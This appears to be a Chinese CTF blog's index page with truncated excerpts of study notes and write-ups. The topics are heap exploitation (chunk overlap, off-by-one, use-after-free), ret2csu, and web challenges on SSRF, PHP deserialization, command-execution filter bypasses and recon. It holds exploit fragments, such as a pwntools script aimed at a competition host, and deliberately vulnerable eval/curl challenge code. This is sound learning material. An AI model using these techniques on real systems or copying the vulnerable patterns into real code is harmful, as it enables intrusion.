pwn学习笔记(12)--Chunk Extend and Overlapping
pwn学习笔记(12)–Chunk Extend and Overlapping chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping(块重叠) 的效果。这种利用方法需要以下的时机和条件:
程序中存在基于堆的漏洞
漏洞可以控制 chunk header 中的数据
1、对inuse的fastbin进行extend:12345678910111213 int main(void){ void *ptr,*ptr1; ptr=malloc(0x10);//分配第一个0x10的chunk malloc(0x10);//分配第二个0x10的chunk *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 free(ptr); ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 return 0;}
首先进行两次malloc,之后看看heap的状态:
12345678 ...
pwn学习笔记(11)--off_by_one
pwn学习笔记(11)–off_by_one 在处理for循环或者while循环的时候,有的可能会遇到如下情况:
123456789101112#include<stdio.h>int main(){ char buf[0x10]; for (int i = 0 ; i <= 0x10 ; i ++){ buf[i] = getchar(); } puts(buf); }
多次输入几个a之后,发现了最后输出的时候输出了17个a,我的目的仅仅只是需要16个a,结果输出了17个a,像这种,在写入字符串的时候多写入了一个字节的情况,就是off by one。
在堆中,这种问题尤为严重,可能会导致输入的字符覆盖了heap info的prev_in_use或者其他的数据:
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候, ...
Pwn学习笔记(10)--UAF
Pwn学习笔记(10)–UAF: UAF就是Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。
由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。
题目是一个标准的菜单题,有创建note和输出删除的功能,别的不看了,直接看那三个函数:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546unsigned int add_note(){ int v0; // ebx int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { ...
【2024】强网杯
web:PyBlockly: 网站是一个通过block的堆积木的形式编程,有两种数据类型以及四种函数,分别是正常运算,print输出,min和max功能,随便写一些代码,发现结果会回显出来。
再来看看源码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157from flask import Flask, req ...
网鼎杯2024青龙组官方资格赛wp
pwn02:第一步:checksec发现32位架构,开了NX和ASLR。
第二步:login函数有个登陆,账号密码都在里面
第三步:vuln函数存在栈溢出,但是只能溢出8个字节,确定位栈迁移。
第四步:编写脚本,攻击:
123456789101112131415161718192021222324252627282930313233from pwn import *# context.log_level = "debug"elf = ELF("./short")io = process("./short")io = remote("0192d5e6064e782f81f9a9fbc9fc041d.0ke5.dg05.ciihw.cn",45818)# io.recvuntil(b"Enter your username: ")io.recv()io.sendline("admin")# io.recvuntil(b"Enter your passwor ...
ctfshow-ssrf
web351:1234567891011121314151617181920212223242526272829303132<?php // 开启PHP文件 error_reporting(0); // 这行代码将PHP的错误报告级别设置为0,意味着关闭所有错误和警告的显示。这通常用于生产环境,以避免暴露敏感信息或错误信息给用户。然而,在开发过程中,保持错误报告开启是推荐的做法,以便及时发现和修复问题。 highlight_file(__FILE__); // `highlight_file()` 函数将指定的文件(这里是当前执行的文件,由 __FILE__ 魔术常量提供)的内容作为HTML格式的高亮源代码输出。这通常用于学习或展示代码,但在生产环境中可能会导致敏感信息泄露。 $url=$_POST['url']; // 这行代码从全局变量`$_POST`数组中获取键名为'url'的值,并将其赋值给变量`$url`。这意味着代码期望通过POST请求接收一个名为'url'的参数。 $ch=c ...
ctfshow-反序列化
一些基础:
private变量会被序列化为:\x00类名\x00变量名protected变量会被序列化为: \x00*\x00变量名public变量会被序列化为:变量名
__sleep() //在对象被序列化之前运行 *
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
construct() //当对象被创建时,会触发进行初始化__destruct() //对象被销毁时触发__toString(): //当一个对象被当作字符串使用时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__ge ...
ctfshow-命令执行
Web29:1234567891011 <?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
过滤了文件关键词,通配符绕过,cat f*,用system执行,发现没有成功读取,考虑使用tac倒序读取,得到flag。
总结,文件关键词过滤可以考虑使用通配符绕过。
Web30:12345678910error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)) ...
ctfshow-信息搜集
Web1: 题目描述:开发注释未及时删除 。
打开题目后提示web1:where is flag?
ctrl+u读取源码。
Web2: 题目描述:js前台拦截 === 无效操作
打开题目后显示:无法查看源代码
右键无法用,但是ctrl+u可以用。
Web3: 提示要抓包,那就抓包,发送到repeater,响应头里发现flag。
Web4: 题目描述:总有人把后台地址写入robots,帮黑阔大佬们引路。
基础知识:Robots协议(也称爬虫协议,机器人协议等)的全称是“网络爬虫排除协议”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
Robots参数:
User-agent:
作用:用于描述搜索引擎蜘蛛的名字;
技巧:
1,当robots.txt不为空的时候,必须至少有一条user-agent的记录;
2,相同名字,只能有一条,但是不同的蜘蛛,可以有多条记录;
Disallow:
作用:用于描述不允许搜索引擎蜘蛛爬行和抓取的url;
使用技巧:
在robots.txt中至少要有一条d ...
pwn学习笔记(9)-中级ROP--ret2csu
pwn学习笔记(9)-中级ROP–ret2csu前置知识 首先是64位文件的传参方式:前六个参数是从左到右放入寄存器:rdi、rsi、rdx、rcx、r8、r9,之后的通过栈传参。
比如:
传参函数大于7个:
H(a,b,c,d,e,f,g,h)
a->%rdi、b->%rsi、c->%rdx、d->%rcx、e->%r8、f->%r9
h->(%esp)
g->(%esp)
call H
先看看如下代码:
12345678910111213141516#include "stdio.h"int H(int a,int b,int c,int d,int e,int f,int g,int h);int main(){ int a = 1,b = 2,c = 3,d = 4,e = 5,f = 6,g = 7,h = 8; printf("%d",H(a,b,c,d,e,f,g,h)); return 0;}int H ...